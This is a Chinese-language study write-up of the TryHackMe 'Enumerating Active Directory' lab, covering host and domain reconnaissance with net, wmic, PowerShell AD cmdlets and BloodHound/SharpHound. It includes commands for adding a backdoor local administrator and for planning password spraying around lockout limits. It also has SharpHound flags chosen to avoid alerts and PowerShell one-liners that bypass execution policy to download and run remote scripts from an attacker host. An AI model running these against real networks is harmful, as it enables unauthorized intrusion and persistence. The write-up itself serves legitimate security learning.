域内信息收集

写在文前

本文主要记录做tryhackme靶机“Enumerating Active Directory”时,用到的一些手段,技术栈如下

  • net域内信息收集
  • powershell域内信息收集
  • bloodhound域内信息收集

当然本文记录的并非全面,例如还有:**LDAP enumerationPowerView**、Windows Management Instrumentation (WMI)等更多域内信息收集的方式,所以此文也会随着作者学习的深入而不断完善

未解决的错误信息

  • wmic “Invalid query”、“Invalid GET Expression”错误信息

工具篇

net

net作为cmd内置的命令,其可以实现基本的域内信息收集

本机基础信息收集

虽然知道大家对本机的信息的收集已经很熟练了,但是本文依旧会记录一些本地命令的执行

查看当前用户

1
whoami /all

查看当前用户以及当前用户所处的用户组、所拥有的特权等信息

查看网络信息

1
ipconfig /all

查看当前网络的配置信息,包括主机的ip地址、主机名、各网络适配器的信息

查看主机路由信息

1
route print

查看当前网络环境的路由信息

查看操作系统信息

1
systeminfo

该命令本意而言能够查看到操作系统信息、包括当前主机的主机名、操作系统版本、系统目录、所处的工作站、各网卡信息、安装的补丁信息;日常内网渗透中,补丁信息是提权不可缺少的一部分

但是权限不足时,使用该命令会有提示:ERROR: Access denied

查看端口信息

1
netstat -ano

用于查看当前端口的连接情况,包括当前主机的tcp、udp等端口监听以及开放情况

查看当前会话列表

1
net session

查看当前主机与所连接的客户端主机之间的会话

但是权限不足后,就会出现下方错误

查看当前网络共享信息

1
net share

查看当前主机开启的共享列表

但是权限不足后,就会出现下方错误

查看已连接的网络共享

1
net use

查看当前主机与其他主机远程建立的网络共享连接

查看当前进程信息

1
2
3
tasklist

tasklist /svc

查看当前主机的所有进程信息

通过查询目标主机的进程信息,攻击者可以在其中分析:是否存在杀软、权限维持时应当注入的进程等

如下图所示,在线杀软查询结果如下

同样的,如果权限不足,那么这些命令也依旧无法正常运行

tasklist是一种查询进程的方式,同样的,还可以使用wmic去查询主机进程信息,并且可以通过过滤的方式查询到进程的路劲、名称以及pid

1
wmic process get Name, ProcessId, ExecutablePath

低权限依旧无法查询

但是在windows2008上,使用wmic查询时,如果用的是我上述编写的poc,那么绝对会出现如下报错:Invalid GET Expression. (无效的get表达式)

以及使用where条件去查询指定进程的路劲信息是,也会报错:Invalid query (查询无效)

1
wmic process where Name="vds.exe" get ExecutablePath

由于初入ad方面知识,加上网上对这些报错信息说法不同,所以此处对这些报错做记录,日后基础夯实之后,再回头解决此类问题

查看计划任务信息

1
schtasks /query /v /fo list

查看当前主机上所有的计划任务,会有很多很多很多……

域内基础信息收集

上文讲述了查询本机的一些信息,其实简单地阐述几条,还有很多wmic的命令以及其他的查询方式没有一一列举,下面记录用于查询域相关信息的命令

查看本地用户/组信息

1
2
3
net user

net user <username>

查看目标主机上的本地用户信息

1
net localgroup administrators

查看本地管理员组

此处简单的说明一下查询到本地管理组信息后的一些阐述

上图中可以看出,本地管理员组中,除了本地管理员Administartor之外,还包含域其他的管理员账户

在进入主机后,可以使用如下命令在本地创建一个新的账户并加入本地管理员组,当然这个帐号的创建是影子账户还是如何隐藏这就涉及到后续攻击的手法,之后的文章中会有更加细致的讲解,此处只记录最最简单的手段

1
2
3
4
5
# 创建本地用户
net user <username> <password> /add

# 将用户加入本地管理员组
net localgroup administrators <username> /add

查看当前登录的用户

1
query user

查看当前登录的用户,如下图所示,lynda.franklin、joel.pearce这俩个用户目前正在使用rdp(windows远程桌面)登录着当前主机,其state出于Active状态

判断是否在域环境

1
net config workstation

成功执行后,可以查看到当前工作站的信息,包括当前计算机名、用户名、系统版本、工作站、登录的域等信息

同样的,这个命令依旧是受到权限制约的,如下图所示

查看域用户信息

1
net user /domain

查看所有的域用户,其数据量是很庞大的

如果想要查看指定域用户的详细信息的话,可以使用如下命令

1
net user <username> /domain

如下图所示,查询allan.webb该用户的详细信息

当然,wmic也可以获取用户的相关信息

1
wmic useraccount get Caption, Domain, Description

查看域用户组信息

1
net group /domain

列出域内所有的用户组

查询用户组的目的在于通过域用户组的详细信息来获取到后续攻击所需要的更多信息,下方列表是对于特定域用户组的说明

域用户组名称 说明
Domain Admins 域管理员组,包括所有的域管理员用户
Domain Computers 域成员主机组,包括加入域的所有工作站和服务器
Domain Controllers 域控制器组,包括域中的所有域控制器
Domain Guests 域来宾组,包括域中所有的来宾用户
Domain Users 域用户组,包括所有的域用户
Enterprise Admins 企业系统管理员组,是用于域林范围

配合上表中的说明,如果我们想要查询域管理员组,从而去获得所有的域管理员用户,那么查询命令如下

1
net group "Domain Admins" /domain

查询结果如下所示

查看域内密码策略

1
net accounts /domain

查看域内密码策略

获取到的信息有助于后续做密码爆破等操作

例如上图中提到的锁定阈值(Lockout threshold),在进行密码爆破之前,这样的信息可以给我们一个清晰的认知,可以进行多少次爆破尝试

查看域控制器列表

1
net group "Domain Controllers" /domain

这种查询方式,上文其实已经提到了,Domain Controllers的查询结果,可以得到所有的域控制器的主机名,结果如下图所示

当然可以使用其他的命令,来查询指定域内的域控制器主机列表

1
nltest /DCLIST:<domain-name>

查看主域控制器

1
net time /domain

域环境中,主域控制器一般被用于时间服务器,依据这个思路,可以通过查询时间服务器来找到主域控制器的名称

查看域信任关系

1
nltest /domain_trusts

首先说明一个概念:域信任

域信任被用于多域环境中的跨域资源共享,域用户只能访问当前域下的资源,无法跨域访问资源,此时域信任即可解决该问题

定位域控

这个模块不是命令的使用,是一个简单地思路记载

通过上文的net config workstation已知域环境后,最简单的就是使用ping的方式查看返回ip,当然,ping命令在windows中是被默认禁止的,所以这个是最简单的方式,执行结果如下图所示

第二种查看域控ip的方式则是dns的查询,一般而言,域控ip是当前域内用户使用的dns,此时ipconfig /all查询dns的信息,多数情况为域控的ip地址

截止到目前为止,net方面的命令查询已经说了一部分,如果大家还有更深的兴趣,那可以移步到此处,查看官方的更多命令

优缺点总结

优势

1、net命令无需额外的工具加载,且部分命令不会被监控

2、通常用于网络钓鱼的有效载荷VBScript以及其他的宏语言自身就支持此类命令执行

劣势

1、net命令必须是在加入的机器上执行;如果未加入域,那默认为WORKGROUP域

2、net命令不会显示所有信息;例如查询用户详细信息时,如果用户同时是十多个组的成员,那并非所有的组都能显示在输出中

powershell

powershell初次接触,可以将其理解为cmd的升级。虽然powershell具有cmd提供的所有标准功能,但是它只提供对cmdlet的访问(cmdlet 是在 PowerShell 环境中使用的一种轻量级命令。 PowerShell 运行时在命令行中提供的自动化脚本的上下文中调用这些 cmdlet)

cmdlet是支持用户自己编辑的,但是本文只对内置的cmdlet做记录

获取到当前用户权限后,直接命令行使用powershell即可进入powershell终端,如下图所示

用户查询

用户的查询可以使用Get-ADUser

1
Get-ADUser -Identity gordon.stevens -Server za.tryhackme.com -Properties *

用于查询用户信息,结果如下图所示

此处记录上述命令中部分参数的含义

Identity:当前枚举的用户名

Properties:显示与帐号关联的属性,*意味着显示全部属性

Server:指定域服务器地址,如果未加入任何域,那么指向域控

其实还有另一个关键的参数,而且是作用于大多数的cmdlet

-Filter允许对枚举进行更多的参数控制,类似于Linux的grep / windows的findstr

Format-Table则是对结果进行格式化展示

1
Get-ADUser -Filter 'Name -like "*stevens"' -Server za.tryhackme.com | Format-Table Name,SamAccountName -A

组查询

域中组的查询可以使用Get-ADGroup

1
Get-ADGroup -Identity Administrators -Server za.tryhackme.com

如下图结果所示,该命令会查询到指定组的信息

查询组的时候,还可以使用另一个命令

1
Get-ADGroupMember -Identity Administrators -Server za.tryhackme.com

相较于Get-ADGroup,Get-ADGroupMember会把当前要查询组内包含的用户竟可能的罗列全面

AD对象查询

AD object的查询,可以使用Get-ADObject

1
2
3
PS C:\> $ChangeDate = New-Object DateTime(2022, 02, 28, 12, 00, 00)

PS C:\> Get-ADObject -Filter 'whenChanged -gt $ChangeDate' -includeDeletedObjects -Server za.tryhackme.com

注意,上述是俩条命令,和js的var定义一样,定义参数后的查询,会更加便捷;该命令的含义是:查询2022年2月28日12时之后有过修改的AD对象

发散思维下,Get-ADObject可以被应用在AD密码爆破时,枚举 badPwdCount大于0的账户,可以规避攻击时,使用到这些账户,相关命令及结果如下图所示

1
Get-ADObject -Filter 'badPwdCount -gt 0' -Server za.tryhackme.com

端口扫描

内网资源嗅探有很多种方式,有基于协议的扫描(ICMP、NetBIOS、UDP、ARP、SMB、Telnet),也有工具的利用(nmap、powershell、metasploit、netcat)等

既然这个章节记录了powershell的常用命令,那么也就稍加记录一下利用powershell去做端口扫描的方法

powershell端口扫描目前本人知道的有俩种方式:Invoke-portscan.psl、Nishang-Invoke-PortScan

Invoke-PortScan

Invoke-portscan.psl的扫描其实是可以做到无文件落地的扫描,执行命令如下

1
2
# 建立扫描
powershell.exe -exec bypass -Command "IEX(New-Object Net.WebClient).DownloadString('http://192.168.31.116:8000/Invoke-Portscan.ps1');Invoke-PortScan -Hosts 192.169.31.0/24 -T 4 -ports '80,443,3306,3389'"

扫描情况如下图所示

NiShang

NiShang是一款基于powershell的渗透测试框架,其内部Scan模块有一个Invoke-PortsScan.psl脚本,可以用来对端口进行扫描

NiShang github地址:nishang

1
2
3
4
5
# 导入模块,注意必须在powershell 3.0以上使用
Import-Module .\nishang.psm1

# 查询powershell 版本
$PSVersionTable

如果查询到的版本是3.0以下,如下图所示

那么在导入模块的时候,就会出现如下报错

1
2
# 建立扫描
powershell.exe -exec bypass -Command "IEX(New-Object Net.WebClient).DownloadString('http://ip:port/Invoke-Portscan.ps1');Invoke-PortScan -StartAddress 10.10.10.1 -EndAddress 10.10.10.20 -ResolveHost -ScanPort -Port 80, 443, 3306, 3389"

注意事项

这里需要注意的一点,虽然同为Invoke-PortScan.ps1脚本,但是下载地址却截然不同

第一小节,Invoke-PortScan的下载地址:Invoke-Portscan

第二节Nishang中Invoke-PortScan的下载地址:Invoke-PortScan

看源码的话,会很明显的看到俩者参数是不一样的,所以一定要区分文件以及查看代码,否则很容易出现我下图这种疯狂报错的问题

bloodhound

搭建

猎犬作为域内分析最常见的工具,其依赖于Neo4j作为数据库存储媒介,本文以kali环境搭建为主

本地启动Neo4j,启动成功后,会开启俩个端口

1、服务端口:7687

2、webserver:7474
1
neo4j console

apt 安装 bloodhound

1
2
3
4
5
apt update

apt upgrade

apt install bloodhound

这里需要注意的是,Neo4j如果是初次启动,那么需要访问它的webserver去做密码的修改

1
http://localhost:7474

当然,下图是已经修改过的,详细操作访问上面的地址进入操作即可

Neo4j搭建完成,bloodhound安装完成后,本地启动即可

1
bloodhound

初次启动,出现如下界面

输入本地Neo4j用户名密码登录即可

信息收集

ad端通过“Sharphound.exe”进行信息收集,收集命令如下

1
.\Sharphound.exe --CollectionMethods All --Domain za.tryhackme.com --ExcludeDCs

这里简单的说明一下上述命令的含义

CollectionMethods:确认Sharphound将要收集的数据类型;默认是“All”来收集全部

Domain:指定要枚举的域;某些情况下,可能想要枚举与您现有域信任的父域或其他域

ExcludeDCs:这将指示 Sharphound 不要接触域控制器,这会降低 Sharphound 运行引发警报的可能性

如下图所示,信息收集完成后,会在本目录生成一个.zip的文件

这里初学者可能在概念上对于Sharphoundbloodhound有所混淆,最直白的解释,Sharphound是Bloodhound的枚举工具,它可以用于枚举AD信息,然后在bloodhound上做可视化显示

Sharphound:AD信息枚举工具

Bloodhound:AD攻击图展示工具

信息分析

通过scp将sharphound收集到的ad信息导出到本地vps

1
scp leslie.young@THMJMP1.za.tryhackme.com:C:/Users/leslie.young/Documents/20221201122341_BloodHound.zip

导出后的文件直接拖拽到bloodhound中即可

行文总结

本节主要记录了AD域控的信息收集,主要侧重点在于工具以及命令的使用,至于mimikatz、nmap、网络协议等更多的信息收集方式并未记载全面,结束的有些突兀

由于本人也AD域控的初学者,所以此节的内容并非结束,如遇到新的问题或者工具,均会记录在本节中

参考文献

《内网渗透体系建设》

《内网安全攻防》

tryhacheme-Enumerating Active Directory